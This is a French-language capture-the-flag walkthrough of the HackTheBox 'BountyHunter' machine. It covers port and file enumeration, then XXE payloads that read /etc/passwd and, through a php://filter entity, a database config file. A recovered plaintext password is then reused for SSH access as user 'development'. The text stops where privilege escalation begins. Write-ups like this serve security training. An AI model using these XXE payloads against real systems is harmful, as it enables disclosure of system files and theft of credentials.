BountyHunter - HackTheBox Machine

Enumération

On commence par une énumération classique des ports (-sV pour avoir le service et sa version).

$ nmap -sV -sC 10.10.11.100
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On n'a pas grand chose, on commence donc par regarder le serveur web pour vite voir qu'il tourne sous PHP. On se sert de FUZZ pour potentiellement découvrir quelques pépites.

$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.11.100/FUZZ.php

    Target: http://10.10.11.100/FUZZ.php
    ==============================
    ID         Response  Payload
    ==============================
    000000241: 200       "db"
    000000422: 200       "index"
    000000625: 200       "portal"

On découvre donc un db.php qu'il pourrait être intéressant de récupérer.

XML External Entity (XXE) Processing

En ce baladant sur le site on tombe sur un formulaire (http://10.10.11.100/log_submit.php).

Les données sont envoyée avec Ajax grâce au script suivant :

function returnSecret(data) {
    return Promise.resolve($.ajax({
        type: "POST",
        data: {"data":data},
        url: "tracker_diRbPr00f314.php"
    }));
}

async function bountySubmit() {
    try {
        var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
            <bugreport>
                <title>${$('#exploitTitle').val()}</title>
                <cwe>${$('#cwe').val()}</cwe>
                <cvss>${$('#cvss').val()}</cvss>
                <reward>${$('#reward').val()}</reward>
            </bugreport>`
        let data = await returnSecret(btoa(xml));
        $("#return").html(data)
    }
    catch(error) {
        console.log('Error:', error);
    }
}

Les données du formulaire sont donc envoyées dans une chaine XML crée par le script, convertie en base64 puis envoyée à tracker_diRbPr00f314.php. On va donc se servir de la console du navigateur pour envoyer les données que l'on veut, et donc exploiter la faille XEE.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<bugreport>
    <title>&ent;</title>
    <cwe>CWE</cwe>
    <cvss>CVSS</cvss>
    <reward>1000</reward>
</bugreport>

Grâce au XML suivant, les données seront interprétées de telles sorte que le title prendra comme valeur le contenu du fichier /etc/passwd.

C'est bien, car ça nous informe que le seule utilisateur "classique" (celui chez lequel on trouvera probablement le flag) s'appelle development.

C'est par contre le seul fichier auquel on arrive à accéder.

Par contre, on trouve dans cette Cheat Sheet une nouvelle instruction qui utilise une fonction PHP pour nous retourner un des fichier PHP du projet, on va donc demander le db.php trouvé précédement.

<!DOCTYPE replace [<!ENTITY ent SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>

Victoire, on récupère le contenu de db.php en base64 et il ne reste plus qu'a le décoder !

$ echo "PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=" | base64 -d
    <?php
        // TODO -> Implement login system with the database.
        $dbserver = "localhost";
        $dbname = "bounty";
        $dbusername = "admin";
        $dbpassword = "m19RoAU0hP41A1sTsq6K";
        $testuser = "test";
    ?>

Ce fichier contient un mot de passe en clair : on va essayer de l'utiliser pour se connecter en SSH à la machine avec l'utilisateur development trouvé tou à l'heure.

$ ssh development@10.10.11.100
    development@bountyhunter:~$

On trouve immédiatement le flag user.txt dans le home de cet utilisateur.

USER OWN !

Nous allons maintenant devoir faire une escalade de privilèges pour récupérer le flag root situé dans le /root